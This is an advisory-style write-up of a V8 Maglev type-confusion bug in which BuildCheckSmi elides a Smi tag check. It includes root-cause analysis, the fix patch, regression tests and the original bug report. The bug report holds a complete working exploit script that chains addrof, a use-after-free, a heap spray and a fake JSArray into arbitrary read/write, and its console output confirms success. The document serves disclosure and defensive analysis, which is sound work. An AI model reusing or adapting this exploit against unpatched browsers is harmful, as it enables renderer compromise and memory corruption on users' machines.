CVE-2026-7337
Overview
Background
- `BuildCheckSmi`
- The Maglev graph-builder routine that inserts a runtime check ensuring a node is a Smi before it flows into Smi-typed consumers.
- `Smi` vs `HeapNumber`
- A
Smiis a small integer encoded directly in a tagged pointer’s bits, while aHeapNumberis a heap-allocated object holding a floating-point value, so the two are numerically comparable but differently tagged. - `value_representation()`
- The Maglev node property describing how a value is held (
kTagged,kInt32,kUint32,kFloat64,kHoleyFloat64,kIntPtr), wherekTaggedalone requires a tag-bitCheckSmirather than a value-range check. - `checked_value` alternative
- A cached alternative representation recorded by
BuildCheckNumericalValueafter aCheckFloat64SameValue, which can hold aConstant(HeapNumber N)even though only numeric equality (not Smi tagging) was proven.
Root Cause Analysis
The vulnerable path is in BuildCheckSmi within maglev-graph-builder.cc, which elided the runtime Smi check whenever TryGetInt32Constant(object) returned a value satisfying Smi::IsValid. That elision is only sound for non-tagged inputs, because each non-tagged switch arm (CheckInt32IsSmi, CheckUint32IsSmi, CheckFloat64IsSmi, CheckHoleyFloat64IsSmi, CheckIntPtrIsSmi) emits a value-range check that exactly matches what Smi::IsValid proves. For a kTagged input the emitted check is CheckSmi, a tag-bit check, and value-equivalence does not imply Smi tagging: BuildCheckNumericalValue’s HeapNumber branch records a Constant(HeapNumber N) in the node’s checked_value alternative after a CheckFloat64SameValue that only proves numeric equality, so TryGetInt32Constant recurses through that alternative and returns N even though the runtime value is a HeapNumber. Dropping the tag check let a HeapNumber pointer reach Smi-field consumers such as StoreTaggedFieldNoWriteBarrier, violating the invariant that a value stored into a kSmi field is actually a Smi and producing both a type confusion and a missing write barrier.
The fix gates the elision on object->value_representation() != ValueRepresentation::kTagged, restoring the CheckSmi tag check for tagged inputs while leaving tagged-Smi elision to the earlier StaticTypeIs(kSmi) / EnsureType(kSmi) early returns that carry the tag guarantee.
TryGetInt32Constant returning a Smi-range constant) as proof of Smi tagging for kTagged inputs, when the checked_value alternative can encode a numerically-equal HeapNumber; the fix limits the constant elision to non-tagged representations whose switch arms actually perform a value-range check.Attack Path
- Mint a HeapNumber constant
Read a value like
5.0out of aFloat64Array, producing aHeapNumbernode that Maglev can numerically constant-fold to the Smi-range integer5. - Establish the numeric-equality alternative
Route that
HeapNumberthrough a path whereBuildCheckNumericalValuerunsCheckFloat64SameValueand records aConstant(HeapNumber N)in the node’schecked_valuealternative, soTryGetInt32Constantwill later recurse and returnN. - Reach the elided check
Store the value into a field typed as
kSmi(e.g.obj.smiField) soBuildCheckSmiis invoked on the tagged node; the constant elision drops theCheckSmitag check even though the runtime value is aHeapNumber. - Commit the type confusion
The
HeapNumberpointer is written throughStoreTaggedFieldNoWriteBarrierinto the Smi-typed field, so a pointer is stored where a Smi is assumed and no write barrier records the reference. - Trigger corruption Force a garbage collection so the write-barrier verification / marking path processes the unbarriered field, exposing the type confusion and enabling further memory corruption.
Impact Assessment
HeapNumber pointer into a field the engine believes holds a Smi and skipping the write barrier that GC relies on. This corrupts the object model and GC bookkeeping inside the sandboxed renderer process, providing a primitive that can be developed toward arbitrary read/write and renderer compromise. Preconditions are only that the target function is optimized by Maglev after the numerically-equal HeapNumber constant is established, which is reachable from ordinary attacker-controlled script.Files Changed
src/maglev/maglev-graph-builder.cctest/mjsunit/maglev/regress/regress-500880819.jstest/mjsunit/maglev/regress/regress-501789186.js
Audit Directions
- Value-equivalence used as tag proofAudit any optimization that skips a tag-bit check (
CheckSmiand similar) based on constant-folding orTryGetInt32Constant, since numeric equality does not establish tagging forkTaggednodes. - `checked_value` alternative recursionReview other consumers that recurse through cached
checked_valuealternatives recorded afterCheckFloat64SameValue, because those alternatives can encode aHeapNumberthat is only numerically equal to a Smi. - Representation-dependent check elisionLook for elisions that are sound for non-tagged representations (value-range checks) but incorrectly applied to
kTaggedinputs, especially where a store then uses a no-write-barrier path likeStoreTaggedFieldNoWriteBarrier.
Patch
From b9be4febd638434a37a4215b8ea9ae1f8fab4df6 Mon Sep 17 00:00:00 2001
From: Jakob Linke <jgruber@chromium.org>
Date: Tue, 14 Apr 2026 08:46:10 +0200
Subject: [PATCH] [maglev] Restrict BuildCheckSmi constant elision to non-tagged inputs
The elision added in CL 6988172 (commit 6469250a124a) skipped the
runtime check whenever TryGetInt32Constant(object) returned a value in
Smi range. For non-tagged input representations this is sound, because
the switch below emits a value-range check (CheckInt32IsSmi /
CheckUint32IsSmi / CheckFloat64IsSmi / CheckHoleyFloat64IsSmi /
CheckIntPtrIsSmi), which is exactly what Smi::IsValid proves.
For kTagged inputs the emitted check is CheckSmi, a tag-bit check.
Value-equivalence does not imply Smi tagging: a tagged node can be equal
in value to a Smi-range constant while actually holding a HeapNumber at
runtime. This happens when BuildCheckNumericalValue's HeapNumber branch
records a Constant(HeapNumber N) in the node's checked_value alternative
after a CheckFloat64SameValue; since CheckFloat64SameValue only proves
numeric equality, both Smi(N) and HeapNumber(N) pass it.
TryGetInt32Constant recurses through the alternative and returns N, so
the elision drops the tag check and a HeapNumber pointer can flow into
downstream consumers (e.g. the kSmi-field store path via
StoreTaggedFieldNoWriteBarrier), causing a type confusion and a missing
write barrier.
Gate the elision on value_representation() != kTagged. For tagged Smi
inputs the earlier StaticTypeIs(kSmi) / EnsureType(kSmi) early returns
already handle elision via type-system facts, which carry the tag
guarantee the value-equivalence alternative does not.
Fixed: 500880819
Change-Id: Ida0c18551974c5d861e0aed6f881439d04598c0b
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7761542
Reviewed-by: Victor Gomes <victorgomes@chromium.org>
Commit-Queue: Jakob Linke <jgruber@chromium.org>
Cr-Commit-Position: refs/heads/main@{#106450}
---
diff --git a/src/maglev/maglev-graph-builder.cc b/src/maglev/maglev-graph-builder.cc
index 1153aef..62b27fe 100644
--- a/src/maglev/maglev-graph-builder.cc
+++ b/src/maglev/maglev-graph-builder.cc
@@ -4150,9 +4150,16 @@
}
if (EnsureType(object, NodeType::kSmi) && elidable) return object;
RecordSmiUse(object);
- // For constants, we may be able to skip the runtime check.
- if (std::optional<int32_t> constant_value = TryGetInt32Constant(object)) {
- if (Smi::IsValid(constant_value.value())) return object;
+ // For non-tagged constants, we may be able to skip the runtime check: every
+ // non-tagged arm of the switch below emits a value-range check, which is
+ // exactly what `Smi::IsValid` proves. For tagged inputs the runtime check
+ // (CheckSmi) is a tag-bit check, and value-equivalence (e.g. via the
+ // checked_value alternative, which may hold a HeapNumber constant) does not
+ // imply Smi tagging.
+ if (object->value_representation() != ValueRepresentation::kTagged) {
+ if (std::optional<int32_t> constant_value = TryGetInt32Constant(object)) {
+ if (Smi::IsValid(constant_value.value())) return object;
+ }
}
switch (object->value_representation()) {
case ValueRepresentation::kInt32:
diff --git a/test/mjsunit/maglev/regress/regress-500880819.js b/test/mjsunit/maglev/regress/regress-500880819.js
new file mode 100644
index 0000000..bf6b8f0
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-500880819.js
@@ -0,0 +1,31 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Flags: --allow-natives-syntax --maglev --expose-gc
+
+let f = new Float64Array(1); f[0] = 5;
+let HN5 = f[0];
+globalThis.G = HN5;
+
+let obj = { smiField: 1 };
+obj.smiField = 2;
+obj.smiField = 3;
+
+function sh(o, x, c) { if (c) o.smiField = x; }
+function corrupt(o, x, c) { G = x; sh(o, x, c); }
+
+%PrepareFunctionForOptimization(sh);
+%PrepareFunctionForOptimization(corrupt);
+sh(obj, 5, true);
+corrupt(obj, HN5, false);
+corrupt(obj, HN5, false);
+%OptimizeMaglevOnNextCall(sh);
+%OptimizeMaglevOnNextCall(corrupt);
+
+// Trigger: HeapNumber(5.0) ends up in a kSmi-typed field without a Smi check.
+corrupt(obj, HN5, true);
+
+// Force a write-barrier verification path by allocating.
+gc();
+assertEquals(5, obj.smiField);
diff --git a/test/mjsunit/maglev/regress/regress-501789186.js b/test/mjsunit/maglev/regress/regress-501789186.js
new file mode 100644
index 0000000..c3baa6f
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-501789186.js
@@ -0,0 +1,26 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Flags: --fuzzing --expose-gc --allow-natives-syntax --disable-abortjs
+// Flags: --disable-in-process-stack-traces
+
+let f64 = new Float64Array(1);
+f64[0] = 1.0;
+let hn = f64[0];
+
+let script_var_1 = hn;
+let script_var_2 = 1;
+script_var_2 = 2;
+
+function foo(x) {
+ script_var_1 = x;
+ script_var_2 = x;
+}
+
+%PrepareFunctionForOptimization(foo);
+%OptimizeMaglevOnNextCall(foo);
+
+foo(hn);
+
+assertEquals(1, script_var_2);
Regression Test / PoC
diff --git a/test/mjsunit/maglev/regress/regress-500880819.js b/test/mjsunit/maglev/regress/regress-500880819.js
new file mode 100644
index 0000000..bf6b8f0
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-500880819.js
@@ -0,0 +1,31 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Flags: --allow-natives-syntax --maglev --expose-gc
+
+let f = new Float64Array(1); f[0] = 5;
+let HN5 = f[0];
+globalThis.G = HN5;
+
+let obj = { smiField: 1 };
+obj.smiField = 2;
+obj.smiField = 3;
+
+function sh(o, x, c) { if (c) o.smiField = x; }
+function corrupt(o, x, c) { G = x; sh(o, x, c); }
+
+%PrepareFunctionForOptimization(sh);
+%PrepareFunctionForOptimization(corrupt);
+sh(obj, 5, true);
+corrupt(obj, HN5, false);
+corrupt(obj, HN5, false);
+%OptimizeMaglevOnNextCall(sh);
+%OptimizeMaglevOnNextCall(corrupt);
+
+// Trigger: HeapNumber(5.0) ends up in a kSmi-typed field without a Smi check.
+corrupt(obj, HN5, true);
+
+// Force a write-barrier verification path by allocating.
+gc();
+assertEquals(5, obj.smiField);
diff --git a/test/mjsunit/maglev/regress/regress-501789186.js b/test/mjsunit/maglev/regress/regress-501789186.js
new file mode 100644
index 0000000..c3baa6f
--- /dev/null
+++ b/test/mjsunit/maglev/regress/regress-501789186.js
@@ -0,0 +1,26 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+//
+// Flags: --fuzzing --expose-gc --allow-natives-syntax --disable-abortjs
+// Flags: --disable-in-process-stack-traces
+
+let f64 = new Float64Array(1);
+f64[0] = 1.0;
+let hn = f64[0];
+
+let script_var_1 = hn;
+let script_var_2 = 1;
+script_var_2 = 2;
+
+function foo(x) {
+ script_var_1 = x;
+ script_var_2 = x;
+}
+
+%PrepareFunctionForOptimization(foo);
+%OptimizeMaglevOnNextCall(foo);
+
+foo(hn);
+
+assertEquals(1, script_var_2);
Original Bug Report
Type confusion in BuildCheckSmi constant folding in V8/Maglev
Tested on: V8 14.9.0 (candidate), HEAD 31b353261e41a9d15c829359b0d4d9e261debeb6 (2026-04-04)
BuildCheckSmi elides the runtime Smi check when TryGetInt32Constant returns a value in Smi range. TryGetInt32Constant recurses through the checked_value alternative recorded by SetKnownValue. When BuildCheckNumericalValue records a Constant(HeapNumber 5.0) as the checked_value (after CheckFloat64SameValue passes), TryGetInt32Constant follows the alternative, sees IsInt32Double(5.0), and returns 5 — without verifying that the runtime representation is Smi.
The CheckFloat64SameValue node verifies value equality (5.0 == 5.0), not representation. Both Smi(5) and HeapNumber(5.0) pass it. The elided CheckSmi was the only thing preventing a HeapNumber pointer from reaching BuildStoreTaggedFieldNoWriteBarrier (the kSmi-field store path, which omits the write barrier under the assumption that Smis don’t need one).
Result: a tagged HeapNumber pointer is written into a kSmi-typed field with no write barrier. The receiver’s map is unchanged. The remembered set is not updated.
Root cause
The elision (maglev-graph-builder.cc:4145-4146)
ReduceResult MaglevGraphBuilder::BuildCheckSmi(ValueNode* object, ...) {
...
// For constants, we may be able to skip the runtime check.
if (std::optional<int32_t> constant_value = TryGetInt32Constant(object)) {
if (Smi::IsValid(constant_value.value())) return object; // ← elide CheckSmi
}
...
}
This is sound when object is a constant node. It is unsound when object is a runtime value whose checked_value alternative is a constant.
The recursion (maglev-reducer-inl.h:722-723)
std::optional<int32_t> MaglevReducer<BaseT>::TryGetInt32Constant(ValueNode* value) {
switch (value->opcode()) {
case Opcode::kConstant: {
compiler::ObjectRef object = value->Cast<Constant>()->object();
if (object.IsHeapNumber() &&
IsInt32Double(object.AsHeapNumber().value())) { // ← 5.0 → true
return static_cast<int32_t>(object.AsHeapNumber().value());
}
...
}
...
}
if (auto c = TryGetConstantAlternative(value)) {
return TryGetInt32Constant(*c); // ← recurse on checked_value
}
return {};
}
TryGetConstantAlternative (maglev-reducer-inl.h:480-490) reads info->alternative().checked_value() and returns it if it’s a constant node. The recursive call then hits the kConstant case for the HeapNumber.
Where checked_value is set (maglev-graph-builder.cc:12268-12271)
ReduceResult MaglevGraphBuilder::BuildCheckNumericalValue(...) {
...
RETURN_IF_ABORT(
AddNewNode<CheckFloat64SameValue>({node}, ref_value, reason));
}
reducer_.SetKnownValue(node, ref, NodeType::kNumber); // ← here
return ReduceResult::Done();
}
SetKnownValue (maglev-reducer-inl.h:1396) does:
known_info->alternative().set_checked_value(GetConstant(ref));
ref is the compile-time PropertyCell value — a HeapNumber 5.0 object. GetConstant(ref) produces Constant(HN 5.0). This is recorded as the checked_value for the runtime node.
The implicit contract violated: checked_value was meant to record “after this check, the runtime value is equal to this constant”, but TryGetInt32Constant reads it as “the runtime value is this constant (same representation)”.
The sink (maglev-graph-builder.cc:5359-5421)
ValueNode* value = GetAccumulator(); // raw tagged
...
if (field_representation.IsSmi()) {
RETURN_IF_ABORT(GetAccumulatorSmi(...)); // ← inserts CheckSmi (or tries to)
// result IGNORED — only the side
// effect (CheckSmi node) matters
}
...
if (field_representation.IsSmi()) {
RETURN_IF_ABORT(BuildStoreTaggedFieldNoWriteBarrier(
store_target, value, field_index.offset(), store_mode, name));
}
GetAccumulatorSmi → BuildCheckSmi. With the check elided, value (the unmodified accumulator, holding a HeapNumber pointer) flows directly to BuildStoreTaggedFieldNoWriteBarrier.
Impact
addrof— A Maglev-compiled load ofobj.femitsUnsafeSmiUntag(map says kSmi, no tag check). Reading the corrupted field returnscompressed_ptr >> 1. Deterministic, repeatable.- UAF —
objin old-gen, fresh HN in young-gen, no remembered-set entry. Minor GC frees the HN;obj.fdangles. Spray new-space →fakeobj→ in-cage arbitrary read/write. - Arbitrary Read/Write demonstrated with zero flags (
./d8 poc.js), quite reliable.
Repro
// Two triggers of the same bug:
// #1: corrupt(obj, HN5, true) — old→old, GC-safe, pure type confusion.
// addrof(obj) → UnsafeSmiUntag → leaks HN5's compressed ptr.
// #2: corrupt(obj, freshHN, true) — old→young, missing WB → dangling → fakeobj.
//
// Trigger #1 is allocation-free (HN5 exists, addrof returns Smi-range int,
// recovery is integer math) → young-gen bump pointer unchanged → freshHN lands
// at the same young-gen offset as the single-trigger version.
//
// No eval closures, no scan window, no hardcoded HN5 neighborhood. The only
// build-specific constant is JSARRAY_DBL_MAP (RO-root, run-stable, standard).
//
// Run: d8 poc.js
const JSARRAY_DBL_MAP = 0x0100d0d9;
const FAKE_LEN = 0x100;
const WARMUP_N = 30000;
let f64 = new Float64Array(1);
let u32 = new Uint32Array(f64.buffer);
function itof(lo, hi) { u32[0]=lo>>>0; u32[1]=hi>>>0; return f64[0]; }
function ftoi(d) { f64[0]=d; return [u32[0]>>>0, u32[1]>>>0]; }
const SPRAY_D = itof(FAKE_LEN << 1, JSARRAY_DBL_MAP);
// ─── Setup ───
let __f = new Float64Array(1); __f[0] = 5;
let HN5 = __f[0];
globalThis.G = HN5;
let obj = { smiField: 1 };
obj.smiField = 2; obj.smiField = 3;
// ─── Organic promotion ───
for (let i = 0; i < 400; i++) { new Array(10000).fill(1.1); }
// ─── Functions ───
function sh(o, x, c) { if (c) o.smiField = x; }
sh(obj, 5, true); sh(obj, 5, true); sh(obj, 5, true);
function corrupt(o, x, c) { G = x; sh(o, x, c); }
// addrof: Maglev trusts kSmi map → LoadTaggedField → UnsafeSmiUntag (no tag
// check) → Int32Add. `+7` survives identity-folding (+0, |0, *1 all fold).
// Recovery: ptr = ((r-7)<<1)|1. HN5_ptr ≈ 0x012xxxxx → >>1 ≈ 9M → Smi-range.
function addrof(o) { return o.smiField + 7; }
addrof(obj); addrof(obj); addrof(obj);
// ─── Warmup: tier BOTH corrupt and addrof to Maglev ───
// addrof trained on Smi(5) → returns 12. Loop allocates nothing.
for (let i = 0; i < WARMUP_N; i++) {
corrupt(obj, HN5, false);
addrof(obj);
if ((i & 15) === 0) sh(obj, 5, true);
}
// ─── Trigger #1: addrof(HN5) — ALLOCATION-FREE ───
// HN5 is old-gen, obj is old-gen → WriteBarrier::IsRequired = false. The
// missing WB is harmless here. Type confusion alone: CheckSmi elided, HN5's
// tagged ptr lands in the kSmi field, map unchanged. addrof's CheckMaps
// passes, UnsafeSmiUntag shifts the raw bits. No deopt — corrupt stays Maglev.
//
// NO IIFE: HN5 is already a tagged HN (script-scope let, loaded via context
// slot). OSR'd top-level passes it tagged — no __f[0]-style unboxing risk.
// IIFE would allocate a closure object (~28B young-gen) → shifts freshHN.
//
// NO PRINT: string concat + toString allocate. Defer all output.
//
// leaked ≈ (0x012xxxxx >> 1) + 7 ≈ 9M → Smi. Recovery math stays Smi-range.
// `let` slots pre-reserved in script context at parse — assignment is no-alloc.
corrupt(obj, HN5, true);
let leaked = addrof(obj);
let HN5_ADDR = (((leaked - 7) << 1) | 1) >>> 0;
obj.smiField = 5; // reset: store IC sees kSmi map + Smi value → clean
// ─── Trigger #2: dangling ───
// freshHN is young-gen → old→young store, missing WB → no remembered-set entry.
(function(){ corrupt(obj, __f[0], true); })();
// ─── Stack scrub ───
(function r(n){return n>0?r(n-1)+n:0;})(400);
// ─── Spray (organic minor GCs mid-loop) ───
let pads = [];
for (let j = 0; j < 200; j++) {
let a = new Array(1000);
for (let i = 0; i < 1000; i++) a[i] = SPRAY_D;
pads.push(a);
}
// ─── Verify fake JSArray ───
let fake = obj.smiField;
if (typeof fake === "number") {
print("\n[fail] HN survived (typeof=number, val=" + fake + ")");
throw "UAF didn't fire";
}
let len;
try { len = fake.length; } catch(e) {
print("\n[fail] fake.length threw: " + e);
throw "fake malformed";
}
print("\n[fake] typeof=" + typeof fake + " length=" + len + " (expect " + FAKE_LEN + ")");
if (len !== FAKE_LEN) {
print("[fail] alignment/spray miss");
throw "spray miss";
}
print("[fake] *** fake JSArray landed ***");
// ─── Initial read (elements still = JSARRAY_DBL_MAP) ───
let v_init = fake[0];
let [li,hi] = ftoi(v_init);
print("[read] fake[0] @ MAP+7 = " + v_init);
print("[read] hex 0x" + hi.toString(16).padStart(8,'0') + "_" + li.toString(16).padStart(8,'0'));
// ─── Spray-scan: find length-controlling slot (uses fake.length only — no
// elements deref → safe in OSR'd code, no map check on elements) ───
const PROBE_D = itof(0x777 << 1, JSARRAY_DBL_MAP);
let fj=-1, fk=-1;
scan: for (let j = 0; j < 200; j++) {
let a = pads[j];
for (let k = 0; k < 1000; k++) {
a[k] = PROBE_D;
if (fake.length === 0x777) { fj=j; fk=k; a[k]=SPRAY_D; break scan; }
a[k] = SPRAY_D;
}
}
if (fj < 0) {
print("\n[fail] scan miss — spray not writable at dangling");
throw "scan miss";
}
print("[scan] *** pads[" + fj + "][" + fk + "] controls fake.length ***");
// ─── Retarget + arb R/W demo (IIFE → Ignition → no elements-map check) ───
// fake[0] reads 8B at elements_tagged + 7. HN.value at HN_tagged + 3.
// elements = HN5_ADDR - 4 → reads at HN5_ADDR + 3 = HN5.value.
//
// IIFE because optimized fake[0] (Maglev/TF) emits CheckMaps on fake.elements
// expecting FixedDoubleArray. elements is now HN5_ADDR-4 (a HeapNumber-ish
// region) → CHECK or deopt. Ignition's keyed-load IC trusts the receiver map,
// dereferences elements blindly. One call → cold → Ignition.
let _pad = pads[fj], _slot = fk-1;
let result = (function(){
_pad[_slot] = itof(FAKE_LEN<<1, (HN5_ADDR - 4) >>> 0);
let v = fake[0];
if (v !== 5) return v; // wrong addr or HN5 moved (major GC)
fake[0] = 1337.42;
return v;
})();
if (result !== 5) {
print("\n[fail] read at leaked addr = " + result + " (expected 5)");
print(" HN5_ADDR stale? major GC moved HN5 between leak and now?");
throw "addr stale";
}
let hn5_now = HN5 + 0;
// (deferred from trigger #1 — printing there would have allocated strings
// in young-gen before freshHN, shifting its alignment)
print("\n[addrof] leaked raw = " + leaked + " (12 would mean bug didn't fire)");
print("[addrof] HN5_ADDR = 0x" + HN5_ADDR.toString(16) + " (UnsafeSmiUntag, no scan)");
print("\n[!!!] ARBITRARY READ: fake[0] @ leaked 0x" + HN5_ADDR.toString(16) + " = 5.0");
print("[!!!] ARBITRARY WRITE: fake[0] = 1337.42 → HN5+0 = " + hn5_now);
print("[!!!] v_init (Map bytes @ 0x" + JSARRAY_DBL_MAP.toString(16) + "+7) = " + v_init);
print("[!!!] HN5+0 (after write, independent JS read) = " + hn5_now);
if (hn5_now === 1337.42) {
print(" *** ARB R/W achieved ***");
}
Debug (show root cause)
❯ ./v8/out/x64.debug/d8 poc/maglev-checksmi-elision/poc.js
#
# Fatal error in ../../src/heap/heap.cc, line 6784
# Check failed: !WriteBarrier::IsRequired(heap_object, Tagged<Object>(value)).
#
#
#
#FailureMessage Object: 0x7ffeb5d87868
==== C stack trace ===============================
/home/pop/sec/v8/v8/out/x64.debug/libv8_libbase.so(v8::base::debug::StackTrace::StackTrace()+0x29) [0x735b27276179]
/home/pop/sec/v8/v8/out/x64.debug/libv8_libplatform.so(+0x4e2cd) [0x735b173e12cd]
/home/pop/sec/v8/v8/out/x64.debug/libv8_libbase.so(v8::base::PrintStackTraceIfAvailable()+0x14) [0x735b272491e4]
/home/pop/sec/v8/v8/out/x64.debug/libv8_libbase.so(V8_Fatal(char const*, int, char const*, ...)+0x1f9) [0x735b27249999]
/home/pop/sec/v8/v8/out/x64.debug/libv8.so(v8::internal::Heap::VerifySkippedWriteBarrier(unsigned long, unsigned long)+0x12b) [0x735b218fc10b]
[0x735b7fc9441b]
[1] 1417951 trace trap (core dumped) ./v8/out/x64.debug/d8
Release (Arbitrary R/W)
❯ ./v8/out/ASAN_RELEASE/d8 audit-notes/maglev-checksmi-elision/poc-organic-honest.js
[fake] typeof=object length=256 (expect 256)
[fake] *** fake JSArray landed ***
[read] fake[0] @ MAP+7 = 1.6291488275493544e-260
[read] hex 0x0a0007ff_1100084b
[scan] *** pads[104][716] controls fake.length ***
[addrof] leaked raw = 9582111 (12 would mean bug didn't fire)
[addrof] HN5_ADDR = 0x1246c31 (UnsafeSmiUntag, no scan)
[!!!] ARBITRARY READ: fake[0] @ leaked 0x1246c31 = 5.0
[!!!] ARBITRARY WRITE: fake[0] = 1337.42 → HN5+0 = 1337.42
[!!!] v_init (Map bytes @ 0x100d0d9+7) = 1.6291488275493544e-260
[!!!] HN5+0 (after write, independent JS read) = 1337.42
*** ARB R/W achieved ***
Suggested fix
The issue is introduced by 6469250a124a: [maglev] Improve constant handling for BuildCheckSmi and the Array ctor, 2025-09-26, crrev.com/c/6988172.
TryGetInt32Constant answers “what int32 value does this node hold?” — it does not prove the runtime representation is Smi. BuildCheckSmi should only elide when object itself is a constant node, not when its checked_value alternative is:
if (IsConstantNode(object->opcode())) {
if (std::optional<int32_t> c = TryGetInt32Constant(object)) {
if (Smi::IsValid(c.value())) return object;
}
}